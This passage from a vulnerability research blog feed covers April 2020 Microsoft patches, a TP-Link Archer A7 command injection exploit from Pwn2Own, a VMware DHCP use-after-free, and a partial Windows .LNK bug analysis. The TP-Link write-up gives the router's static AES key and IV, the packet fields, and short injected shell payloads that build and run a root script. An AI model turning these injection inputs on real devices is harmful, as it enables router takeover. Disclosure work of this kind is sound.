Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0960 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0988 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0992 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0994 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0995 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0999 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1008 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0937 Media Foundation Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0939 Media Foundation Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0945 Media Foundation Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0946 Media Foundation Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0947 Media Foundation Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0984 Microsoft (MAU) Office Elevation of Privilege Vulnerability Important No No 2 N/A EoP CVE-2020-1002 Microsoft Defender Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1049 Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability Important No No 2 2 XSS CVE-2020-1050 Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability Important No No 2 2 XSS CVE-2020-1018 Microsoft Dynamics Business Central/NAV Information Disclosure Important No No 2 2 Info CVE-2020-0906 Microsoft Excel Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0979 Microsoft Excel Remote Code Execution Vulnerability Important No No N/A 2 RCE CVE-2020-0982 Microsoft Graphics Component Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0987 Microsoft Graphics Component Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1005 Microsoft Graphics Component Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0961 Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0760 Microsoft Office Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0991 Microsoft Office Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0923 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0924 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0925 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0926 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0930 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0933 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0954 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0973 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0978 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0919 Microsoft Remote Desktop App for Mac Elevation of Privilege Vulnerability Important No No 2 N/A EoP CVE-2020-1019 Microsoft RMS Sharing App for Mac Elevation of Privilege Vulnerability Important No No 2 N/A EoP CVE-2020-0920 Microsoft SharePoint Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0971 Microsoft SharePoint Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0972 Microsoft SharePoint Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-0975 Microsoft SharePoint Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-0976 Microsoft SharePoint Spoofing Vulnerability Important No No N/A 2 Spoof CVE-2020-0977 Microsoft SharePoint Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-0899 Microsoft Visual Studio Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1014 Microsoft Windows Update Client Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0980 Microsoft Word Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0943 Microsoft YourPhone Application for Android Authentication Bypass Vulnerability Important No No 2 N/A EoP CVE-2020-1026 MSR JavaScript Cryptography Library Security Feature Bypass Vulnerability Important No No 2 N/A SFB CVE-2020-0966 VBScript Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0900 Visual Studio Extension Installer Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0956 Win32k Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-0957 Win32k Elevation of Privilege Vulnerability Important No No N/A 1 EoP CVE-2020-0958 Win32k Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-0699 Win32k Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0962 Win32k Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0835 Windows Defender Antimalware Platform Hard Link Elevation of Privilege Vulnerability Important No No 2 N/A EoP CVE-2020-0794 Windows Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-0993 Windows DNS Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-0934 Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0983 Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1009 Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1011 Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1015 Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0952 Windows GDI Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1004 Windows Graphics Component Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-0917 Windows Hyper-V Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0918 Windows Hyper-V Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0913 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1000 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1003 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0955 Windows Kernel Information Disclosure in CPU Memory Access Important No No 2 2 Info CVE-2020-0821 Windows Kernel Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1007 Windows Kernel Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0940 Windows Push Notification Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1001 Windows Push Notification Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1006 Windows Push Notification Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1017 Windows Push Notification Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1016 Windows Push Notification Service Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0936 Windows Scheduled Task Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0981 Windows Token Security Feature Bypass Vulnerability Important No No 2 2 SFB CVE-2020-0985 Windows Update Stack Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0996 Windows Update Stack Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0895 Windows VBScript Engine Remote Code Execution Vulnerability Important No No 2 2 EoP CVE-2020-1094 Windows Work Folder Service Elevation of Privilege Vulnerability Important No No 2 2 EoP Of the remaining Critical-rated patches, most are related to web browsers or some form of browse-and-own scenario. CVE-2020-0968 is listed as being under active attack, although the Exploit Index rating contradicts that notion. Hopefully, this will get clarified in an upcoming revision. [NOTE: Microsoft has revised the bulletin to remove the active attack designation.] The patches for Media Foundation Server fall into this category as well. Hyper-V also receives a Critical-rated patch for a Guest-to-Host escape. That would have been nice to see during the last Pwn2Own, where it could have won $250,000. Maybe next year. There are a couple of Critical-rated SharePoint bugs fixed this month, including some reported through the ZDI program. We’ll be blogging about the details of these bugs in the coming weeks. Stay tuned.Beyond the code execution bugs, there’s also a cross-site scripting (XSS) bug in SharePoint that stands out. There are 10 SharePoint XSS bugs patched in this release, but only one (CVE-2020-0927) receives a Critical rating. Considering the write-ups for all are identical, it’s not clear why this patch rated higher than the others.Looking at the Important-rated patches, there’s a total of 39 that address some form of Elevation of Privilege (EoP). One of the kernel EoP bugs, CVE-2020-1027, is listed as being under active attack, but only on newer systems. One of these patches represents the other publicly known bug. CVE-2020-0935 fixes a bug in OneDrive that could allow an EoP through symbolic links. Most people won’t need to take any action here as OneDrive has its own updater that periodically checks the OneDrive binary. However, those who are on air-gapped or otherwise restricted networks will need to manually update with the provided binary.Two of the EoP patches impact products rarely seen on Patch Tuesday. The first is a patch for the Microsoft YourPhoneCompanion application for Android. This bug could allow an attacker to read your notifications if they have your device. The second is a patch for the RMS Sharing App for Mac. This one could allow authenticated attackers to load unsigned binaries. The remaining EoP bugs affect a wide array of Windows components, but in almost every case, an attacker would need to log on to an affected system then run a specially crafted application.There are fixes for 16 information disclosure bugs this month. The other most notable addresses a bug in Microsoft Dynamics Business Central. Most info disclosure bugs leak uninitialized memory and must be combined with something else to gain code execution. For this bug (CVE-2020-1018), the vulnerability allows attackers to see information found in an otherwise masked field. Consequently, you could be exposing passwords with this bug.Beyond the previously mentioned XSS bugs in SharePoint, there are also four Spoofing bugs in SharePoint receiving patches in April. These are very similar to the XSS bugs. In both cases, the vulnerabilities get fixed by properly sanitizing web requests.There’s another security feature bypass being fixed, this one in the MSR JavaScript Cryptography Library. A bug in the library’s Elliptic Curve Cryptography (ECC) implementation could allow an attacker to learn information about a server’s private ECC key resulting in a key leakage attack. They could also craft an invalid ECDSA signature that still passes as valid.The release is rounded out by a patch for a DoS bug in Windows that would allow a logged-on user to run a specially crafted application and cause the system to stop responding. This isn’t much of a concern unless multiple users are using the same system at the same time. In that scenario, one attacker could DoS everyone else using the system.There are no new advisories for this month. There is an update to the Windows Servicing Stack, which adds updates for both client and server OS platforms this month.Looking AheadThe next Patch Tuesday falls on May 12, and we’ll return with details and patch analysis then. Until then, happy patching and may all your reboots be smooth and clean!*Source: Increase is calculated on the number of patches released by Microsoft from January through April of each respective year. Patch information was provided by the Microsoft Security Update Guide.

  • Exploiting the TP-Link Archer A7 at Pwn2Own Tokyo
    by Guest Blogger on April 7, 2020 at 4:21 pm

    During the Pwn2Own Tokyo competition last fall, Pedro Ribeiro (@pedrib1337) and Radek Domanski (@RabbitPro) used a command injection vulnerability as a part of the exploit chain they used to gain code execution on a TP-Link Archer A7 wireless router, which earned them $5,000. The bug used in this exploit was recently patched, and Pedro and Radek have graciously put together this blog post describing the command injection vulnerability.This article describes a command injection vulnerability that we found and presented at the Pwn2Own Tokyo competition in November 2019. The vulnerability exists in the tdpServer daemon (/usr/bin/tdpServer), running on the TP- Link Archer A7 (AC1750) router, hardware version 5, MIPS Architecture, firmware version 190726. This vulnerability can only be exploited by an attacker on the LAN side of the router, but authentication is not necessary. After exploitation, an attacker is able to execute any command as root, including downloading and executing a binary from another host. This vulnerability was assigned CVE-2020-10882 and was addressed by TP-Link with firmware version A7(US)_V5_200220. All function offsets and code snippets in this article are taken from /usr/bin/tdpServer, firmware version 190726. Background on tdpServer The tdpServer daemon listens on UDP port 20002 on interface 0.0.0.0. The overall functionality of the daemon is not fully understood by the authors at this point, as this was unnecessary for exploitation. However, the daemon seems to be a bridge between the TP-Link mobile application and the router, allowing establishment of some sort of control channel from the mobile application. The daemon communicates with the mobile application through the use of UDP packets with an encrypted payload. We reversed the packet format, and it is shown below: Figure 1 – Reversed tdpServer packet format The packet type determines what service in the daemon will be invoked. A type of 1 will cause the daemon to invoke the tdpd service, which will simply reply with a packet with a certain TETHER_KEY hash value. Because this is not relevant to the vulnerability, we did not investigate it in detail.The other possible type is 0xf0, which invokes the onemesh service. This service is where the vulnerability lies.OneMesh appears to be a proprietary mesh technology that was introduced by TP-Link in recent firmware versions for a number of their routers.The other fields in the packet are relatively well explained in the comments above.Understanding the VulnerabilityUpon device start-up, the first relevant function invoked is tdpd_pkt_handler_loop() (offset 0x40d164), which opens a UDP socket listening on port 20002. Once a packet is received, this function passes the packet to tpdp_pkt_parser() (0x40cfe0), of which a snippet is shown below: Figure 2 – tdpd_pkt_parser() #1 In this first snippet, we see that the parser first checks to see if the packet size as reported by the UDP socket is at least 0x10, which is the size of the header. Then it invokes tdpd_get_pkt_len() (0x40d620), which returns the length of the packet as declared in the packet header (len field). This function returns -1 if the packet length exceeds 0x410.The final check will be done by tdpd_pkt_sanity_checks() (0x40c9d0), which will not be shown for brevity, but does two verifications. First, it checks if the packet version (version field, the first byte in the packet) is equal to 1. Next, it calculates a checksum of the packet using a custom checksum function: tpdp_pkt_calc_checksum() (0x4037f0).To better understand what is happening, the following function is calc_checksum(), which is part of the lao_bomb exploit code. This is shown in place of tpdp_pkt_calc_checksum() as it is easier to understand. Figure 3 – calc_checksum() from the lao_bomb exploit code The checksum calculation is quite straightforward. It starts by setting a magic variable of 0x5a6b7c8d in the packet’s checksum field, and then uses reference_tbl, a table with 1024 bytes, to calculate the checksum over the whole packet, including the header. Once the checksum is verified and all is correct, tdpd_pkt_sanity_checks() returns 0, and we then enter the next part of tdpd_pkt_parser(): Figure 4 – tdpd_pkt_parser() #2 Here the second byte of the packet, the type field, is checked to see if it is 0 (tdpd) or 0xf0 (onemesh). In the latter branch, it also checks if the global variable onemesh_flag is set to 1, which it is by default. This is the branch we want to follow. We then enter onemesh_main() (0x40cd78).onemesh_main() won’t be shown here for brevity, but its job is to invoke another function based on the packet’s opcode field. In order to reach our vulnerable function, the opcode field has to be set to 6, and the flags field has to be set to 1. In this case, onemesh_slave_key_offer() (0x414d14) will be invoked.This is our vulnerable function, and as it is very long, only the relevant parts will be shown. Figure 5 – onemesh_slave_key_offer() #1 In this first snippet of onemesh_slave_key_offer(), we see that it passes the packet payload to tpapp_aes_decrypt() (0x40b190). This function will also not be shown for brevity, but it’s easy to understand what it does from the name and its arguments: it decrypts the packet payload using the AES algorithm and the static key “TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP”.This encryption was complicated to replicate in the lao_bomb exploit. We will explain this in detail in the next section.For now, we will assume that tpapp_aes_decrypt was able to decrypt the packet successfully, so we move on to the next relevant snippet in onemesh_slave_key_offer(): Figure 6- onemesh_slave_key_offer() #2 In this snippet, we see some other functions being called (basically the setup of the onemesh object) followed by the start of the parsing of the actual packet payload.The expected payload is a JSON object, such as the one shown below: Figure 7 – Example JSON payload for onemesh_slave_key_offer() In Figure 6, we can see the code first fetching the method JSON key and its value, and then the start of the parsed data JSON object.The next snippet shows that each key of the data object is processed in order. If one of the required keys does not exist, the function simply exits: Figure 8 – onemesh_slave_key_offer() #3 As it can be seen above, the value of each JSON key is parsed and then copied into a stack variable (slaveMac, slaveIp, etc).After parsing the JSON object, the function starts preparing the response by invoking create_csjon_obj() (0x405fe8).From here onwards, the function performs a variety of operations on the received data. The part that matters is shown below: Figure 9 – onemesh_slave_key_offer() #4 And here is our vulnerability in its full glory. Referring back to Figure 8 above, you can see that the value of the JSON key slave_mac was copied into the slaveMac stack variable. In Figure 9, slaveMac is copied by sprintf into the systemCmd variable that is then passed to system().ExploitationReaching the Vulnerable FunctionThe first thing to determine is how to reach this command injection. After trial and error, we found out that sending the JSON structure shown in Figure 7 above always hits the vulnerable code path. In particular, method has to be slave_key_offer, and want_to_join has to be false. The other values can be chosen arbitrarily, although some special characters in fields other than slave_mac might cause the vulnerable function to exit early and not process our injection.With regards to the packet header, as previously described, we have to set type to 0xf0, opcode to 6 and flags to 1, as well as get the checksum field correct.Encrypting the PacketAs explained in the previous section, the packet is encrypted with AES with a fixed key of TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP. There are a few more missing pieces to this puzzle, though. The cipher is used in CBC mode and the IV is the fixed value 1234567890abcdef1234567890abcdef. Furthermore, despite having a 256-bit key and IV, the actual algorithm used is AES-CBC with a 128-bit key, so half of the key and IV are not used. Achieving Code Execution Now we know how to hit the vulnerable code path, can we just send a packet with a command and get code execution? There are two problems to overcome:        i. The strncpy() only copies 0x11 bytes from the slave_mac_info key into the slaveMac variable, and that includes the terminating null byte.       ii. We need to perform some escaping, since the value in slaveMac will be enclosed in both single and double quotes. With these two constraints in mind, the actual available space is quite limited. In order to escape the arguments and execute a payload, we have to add the following characters:        ‘;<PAYLOAD>’ We have just lost 3 characters, leaving us with only 13 bytes to construct our payload. With 13 bytes (characters), it’s pretty much impossible to execute anything meaningful. In addition, we found through testing that the limit is actually 12 bytes. We did not fully understand why, but it appears it has to do with the escaping. Our solution was to trigger the bug many times, building up a desired command file on the target one character at a time. Then we trigger the bug one final time to execute the command file as a shell script. Even so, this technique is a lot more difficult than it looks at a first glance. Consider, for example, that to append a character ‘a’ to a file named ‘z’, we can simply do this:        printf a>>z Notice how even this simple case requires 11 bytes. If we want to write a digit, the technique shown above does not work. This is because a digit is interpreted by the shell as a file descriptor. Similarly, special characters such as ‘.’ or ‘;’ that are interpreted by the shell cannot be written to a file using the method above. To handle these cases, we need to do the following:        printf ‘1’>x If you notice, this actually does not append a character to an existing file but instead creates a new file named ‘x’ (overwriting any existing file by that name) containing just the character ‘1’. Since this payload is already 12 characters long, there is no way to add an extra ‘>’ that would allow us to append the 1 to the command file we are building. Nevertheless, there is a solution. Every time we need to emit a digit or special character, we first write the character to a new file, and afterwards use cat to append the contents of this new file to the command file being built:        cat x*>>z* You might wonder why we need the ‘*’ at the end of each file name. That’s because despite the fact that we always escape the command we send, the last few bytes of the lua script that was supposed to be executed end up in the file name. This means that when we try to create a file named ‘z’, in reality it will be named ‘z”})’. Adding the full filename into our command would consume too many bytes. Luckily for us, the shell does autocompletion with the special ‘*’ character. Astute readers will notice that we did not change to /tmp, as it is many times necessary in embedded devices, as the filesystem root is usually not writeable. Again, we were lucky. The root filesystem is mounted read-write, which is a major security mistake by TP-Link. Had it been mounted read-only, as is normal in most embedded devices that use the SquashFS filesystem, this particular attack would have been impossible, as adding cd tmp would consume too many of the available 12 characters. And with this, we have all the tools we need to execute arbitrary commands. We send the command byte by byte, adding them to a command file ‘z’, and then we send the payload:        sh z and our command file gets executed as root. From here on, we can download and execute a binary, and we have full control of the router. Users of TP-Link routers with support questions can email [email protected] Thanks again to Pedro and Radek for providing this great write-up. This duo has competed in multiple Pwn2Own competitions, including winning $75,000 at this year’s Pwn2Own Miami event. We certainly hope to see more from them in future competitions. Until then, follow the team for the latest in exploit techniques and security patches.

  • CVE-2020-3947: Use-After-Free Vulnerability in the VMware Workstation DHCP Component
    by KP Choubey on April 2, 2020 at 3:05 pm

    Ever since introducing the virtualization category at Pwn2Own in 2016, guest-to-host escapes have been a highlight of the contest. This year’s event was no exception. Other guest-to-host escapes have also come through the ZDI program throughout the year. In fact, VMware released a patch for just such a bug less than a week prior to this year’s competition. In this blog post, we look into CVE-2020-3947, which was submitted to the ZDI program (ZDI-20-298) in late December by an anonymous researcher. The vulnerability affects the DHCP server component of VMware Workstation and could allow attackers to escalate privileges from a guest OS and execute code on the host OS.Dynamic Host Configuration Protocol (DHCP)Dynamic Host Configuration Protocol (DHCP) is used to dynamically assign and manage IP addresses by exchanging DHCP messages between a DHCP client and server. DHCP messages include DHCPDISCOVER, DHCPOFFER, DHCPRELEASE, and several others. All DCHP messages begin with the following common header structure: Figure 1 – DHCP Header structure The Options field of a DHCP message contains a sequence of option fields. The structure of an option field is as follows: Figure 2 – Option Field Structure The optionCode field defines the type of option. The value of optionCode is 0x35 and 0x3d for the DHCP message type and client identifier options, respectively.A DHCP message must contain one DHCP message type option. For the DHCP message type option, the value of the optionLength field is 1 and the optionData field indicates the message type. A value of 1 indicates a DHCPDISCOVER message, while a value of 7 indicates a DHCPRELEASE message. These are the two message types that are important for this vulnerability. DHCPDISCOVER is broadcast by a client to get an IP address, and the client sends DHCPRELEASE to relinquish an IP address. The VulnerabilityIn VMWare Workstation, the vmnetdhcp.exe module provides DHCP server service to guest machines. This startup entry is installed as a Windows service. The vulnerable condition occurs when sending a DHCPDISCOVER message followed by a DHCPRELEASE message repeatedly to a vulnerable DHCP server.During processing of a DHCPRELEASE message, the DHCP server calls vmnetdhcp! supersede_lease (vmnetdhcp+0x3160). The supersede_lease function then copies data from one lease structure to another. A lease structure contains information such as an assigned client IP address, client hardware address, lease duration, lease status, and so on. The full lease structure is as follows: Figure 3 – Lease Structure For this vulnerability, the uid and uid_len fields are important. The uid field points to a buffer containing the string data from the optionData field of the client identifier option. The uid_len field indicates the size of this buffer.supersede_lease first checks whether the string data pointed by the respective uid fields of the source and destination lease are equal. If these two strings match, the function frees the buffer pointed to by the uid field of the source lease. Afterwards, supersede_lease calls write_lease (vmnetdhcp+016e0), passing the destination lease as an argument, to write the lease to an internal table. Figure 4 – Compare the uid Fields Figure 5 – Frees the uid Field In the vulnerable condition, meaning when a DHCPDISCOVER message followed by a DHCPRELEASE message is repeatedly received by the server, the respective uid fields of the source and destination lease structures actually point to the same memory location. The supersede_lease function does not check for this condition. As a result, when it frees the memory pointed to by the uid field of the source lease, the uid pointer of the destination lease becomes a hanging pointer. Finally, when write_lease accesses the uid field of the destination lease, a use-after-free (UAF) condition occurs.  Figure 6 – Triggering the Bug The PatchVMware patched this bug and two lesser severity bugs with VMSA-2020-004. The patch to address CVE-2020-3947 contains changes in one function: supersede_lease. The patch comparison of supersede_lease in VMnetDHCP.exe version 15.5.1.50853 versus version 15.5.2.54704 is as follows: Figure 7 – BinDiff Patch Comparison In the patched version of supersede_lease, after performing the string comparison between the respective uid fields of the source and destination leases, it performs a new check to see if the respective uid fields are actually referencing the same buffer. If they are, the function skips the call to free.Since there are no workarounds listed, the only way to ensure you are protected from this bug is to apply the patch.Despite being a well understood problem, UAF bugs continue to be prevalent in modern software. In fact, 15% of the advisories we published in 2019 were the result of a UAF condition. It will be interesting to see if that trend continues in 2020.You can find me on Twitter @nktropy, and follow the team for the latest in exploit techniques and security patches.

  • CVE-2020-0729: Remote Code Execution Through .LNK Files
    by Trend Micro Research Team on March 26, 2020 at 3:06 pm

    In this excerpt of a Trend Micro Vulnerability Research Service vulnerability report, John Simpson and Pengsu Cheng of the Trend Micro Research Team detail a recent remote code execution bug in Microsoft Windows .LNK files. The following is a portion of their write-up covering CVE-2020-0729, with a few minimal modifications.For Microsoft’s February 2020 Patch Tuesday, the company released security fixes for a mind-boggling 99 CVEs, a rather large number to fix in a single month. While a lot of attention has been paid to the Scripting Engine vulnerability that has been actively exploited, another vulnerability rated as critical really stood out. CVE-2020-0729 has been deemed a remote code execution vulnerability involving Windows LNK files, also known as shortcut files. Part of what makes this vulnerability so compelling is that historically, exploits for vulnerabilities in LNK files have been used to spread malware such as the famed Stuxnet and, in the vast majority of cases, simply browsing to a folder containing a malicious LNK file, whether local or on a network share, is sufficient to trigger the vulnerability. The question then becomes, does this vulnerability have the same potential for exploitation as some of the past LNK vulnerabilities? Due to the fact that LNK files are a binary file format that only has documentation for a few top level structures, answering this question requires a lot of digging.Beginning the AnalysisFor Microsoft’s Patch Tuesday, it is standard procedure for our research team to begin analyzing a vulnerability by unpacking the “security only” patch bundle for a given Windows platform and, based on the information from Microsoft’s advisory, attempt to locate files in the patch that are likely associated with the vulnerability. The February patch bundle did not contain updates to any of the usual DLLs typically associated with processing LNK files, such as shell32.dll and windows.storage.dll, leaving us scratching our heads as to where the problem might lie. However, after a closer look through the list of files, one particular DLL stood out to us: StructuredQuery.dll. Part of the reason this stood out is that we have seen vulnerabilities explicitly named as involving StructuredQuery in the past, such as CVE-2018-0825, but in this particular patch Tuesday no such advisory exists. So, what’s the connection between LNK files and StructuredQuery? A quick search for StructuredQuery on Microsoft’s Windows Dev Center leads us to documentation for the structuredquery.h header, which tells us that it is used by Windows Search and this is precisely where LNK files and StructuredQuery connect.The Many Talents of LNK FilesLNK files are mostly known for containing binary structures that create a shortcut to a file or folder, but a lesser known feature is that they can directly contain a saved search. Ordinarily, when a user searches for a file in Windows 10, the “Search Tools” tab appears in the Explorer ribbon allowing a user to refine their search and select advanced options for the search query. The tab also allows users to save the existing search for re-use at a later time, which results in an XML file with the extension “.search-ms” to be saved, a file format that is only partially documented. However, this is not the only way to save a search. If you click and drag the search results icon from the address bar, highlighted in the image below, to another folder, it creates a LNK file containing a serialized version of the data that would be contained in a “search-ms” XML file. With this in mind, let’s take a look at the patch diff for StructuredQuery using BinDiff. As we can see, only one function has changed, StructuredQuery1::ReadPROPVARIANT(), and it appears to have changed quite extensively based on the similarity of only 81%. A quick comparison of the flow graphs would appear to confirm the changes are fairly extensive: What exactly does this function do in the context of an LNK file? The answer requires a detailed look at the undocumented structures contained in a saved search LNK file, so let’s dive in and take a look.Windows shell link files have several required and optional components as defined in the Shell Link (.LNK) Binary File Format specification. Each shell link file must contain, at a minimum, a Shell Link Header which has the following format: All multi-byte fields are represented in little-endian byte order unless otherwise specified.The LinkFlags field specifies the presence of absence of optional structures as well as various options such as whether the strings in the shell link are encoded in Unicode or not. The following is an illustrative layout of the LinkFlags field: One flag that is set in the majority of cases, HasLinkTargetIDList, is represented by position “A”, the least significant bit of the first byte of the LinkFlags field. If set, the LinkTargetIDList structure must follow the Shell Link Header. The LinkTargetIDList structure specifies the target of the link and has the following layout: The IDList structure contained within specifies the format of a persisted item ID list: The ItemIDList serves the same purpose as a file path, where each ItemID structure corresponds to one path component in a path-like hierarchy. ItemIDs can refer to actual filesystem folders, virtual folders such as Control Panel or Saved Searches, or other forms of embedded data that serve as a “shortcut” to perform a specific function. For more general information on ItemIDs and ItemIDLists, see Microsoft’s Common Explorer Concepts. Of particular importance to the vulnerability are the ItemIDList and ItemID structures present in an LNK file that contains a saved search query.When a user creates a shortcut that contains search information, the resulting file contains an IDList structure that begins with a Delegate Folder ItemID, followed a User Property View ItemID specific to search queries. In general, ItemID’s begin with the following structure: The value of the two bytes beginning at offset 0x0004 are used in combination with the ItemSize and ItemType to help determine the type of the ItemID. For example, if the ItemSize is 0x14 and the ItemType is 0x1F, the 2 bytes at 0x0004 are checked to see if their value is greater than ItemSize. If so, it is assumed that the remaining ItemID data will consist of a 16-byte Globally Unique Identifier (GUID). This is typically the structure of the first ItemID found in a LNK file pointing to a file or folder. If the ItemSize is larger than the size required to contain a GUID but smaller than the bytes at 0x0004, the remaining data after the GUID is considered an ExtraDataBlock, beginning with a 2-byte size field followed by that many bytes of data.For a Delegate Folder ItemID, the same 2 bytes correspond to a size field for the remaining structure, leading to the following overall structure: All GUIDs in LNK files are stored using the RPC IDL representation for GUIDs. RPC IDL representation means the first three segments of the GUID are stored as little-endian representations of the entire segment (i.e., a DWORD followed by 2 WORDs), whereas each byte in the last 2 segments are considered to be individual. For example, the GUID {01234567-1234-ABCD-9876-0123456789AB} has the following binary representation:        \x67\x45\x23\x01\x34\x12\xCD\xAB\x98\x76\x01\x23\x45\x67\x89\xAB The precise function of Delegate Folder ItemIDs is undocumented. However, it is likely that such an entry is intended to cause subsequent ItemIDs to be handled by the class specified by the Item GUID field, thus establishing that class as the root namespace for the hierarchy. In the case of a LNK file containing embedded search data, the Item GUID will be {04731B67-D933-450A-90E6-4ACD2E9408FE}, corresponding to CLSID_SearchFolder, a reference to Windows.Storage.Search.dll. The Delegate Folder ItemID is followed by a User Property View ItemID, which has a structure similar to the structure of a Delegate Folder ItemID: Of particular importance to this report is the PropertyStoreList field, which, if present, contains one or more serialized PropertyStore items each having the following structure: The Property Store Data field is a sequence of properties. All properties in a given PropertyStore belong to the class identified by the Property Format GUID. Each specific property is identified by a numeric ID known as a Property ID or PID which, when combined with the Property Format GUID, is known as a property key or PKEY. The PKEY is determined in a slightly different manner if the Property Format GUID is equal to {D5CDD505-2E9C-101B-9397-08002B2CF9AE}. Each property is then considered to be part of a “Property Bag” and has the following structure: Property bags will generally contain elements with the names “Key:FMTID” and “Key:PID”, identifying the specific PKEY that determines the interpretation of the other elements. Specific Property Bag implementations will also require that other elements are present in order to be valid.If the Property Format GUID is not equal to the previously mentioned GUID for Property Bags, each property is identified by an integer value for the PID and has the following structure: The TypedPropertyValue field corresponds to the typed value of a property in a property set as defined in section 2.15 of the Microsoft Object Linking and Embedding (OLE) Property Set Data Structures specification. Various PKEYs are defined in the headers provided with the Windows SDK. However, many are undocumented and only identifiable by examining references in the debugging symbols for the associated libraries. For LNK files containing embedded search data, the first PropertyStore in the User Property View ItemID has a Property Format GUID of {1E3EE840-BC2B-476C-8237-2ACD1A839B22} containing a property with an Id of 2, which corresponds to PKEY_FilterInfo. The TypedPropertyValue field of PKEY_FilterInfo consists of a VT_STREAM property. Ordinarily, a VT_STREAM property consists of a type of 0x0042, 2 padding bytes, and an IndirectPropertyName that specifies the name of an alternate stream containing either a PropertySetStream packet for simple property set storage or the “CONTENTS” stream element for non-simple property set storage as per Microsoft’s documentation. This name is specified with the wide character string “prop” followed by a decimal string corresponding to a property identifier in a PropertySet packet. However, because LNK files use serialized property stores embedded in VT_STREAM properties, the IndirectPropertyName is only checked to see if it begins with “prop”. The value itself is ignored. This results in the following TypedPropertyValue structure: The contents of the Stream Data field are dependent on the specific PKEY that the stream property belongs to. For PKEY_FilterInfo, the Stream Data essentially contains an embedded PropertyStoreList with more serialized PropertyStore structures and has the following structure: The nested PropertyStoreList in the PKEY_FilterInfo stream is a serialized version of the “conditions” tag in a .search-ms file. The following is an example structure of the conditions tag: The precise functionality of the attribute element is not publicly documented. However, an attribute element contains a GUID that corresponds to CONDITION_HISTORY, and a CLSID that corresponds to the CConditionHistory class in StructuredQuery, which would imply that the nested condition and attribute structures represent the history of the search query before it was saved. In general, it appears that the chs attribute of the attribute element determines whether any additional history is present. When this structure is serialized into a property store, it is placed into the PKEY_FilterInfo PropertyStoreList, which takes the form of a property bag with the aforementioned Property Format GUID. More specifically, the serialized Conditions structure 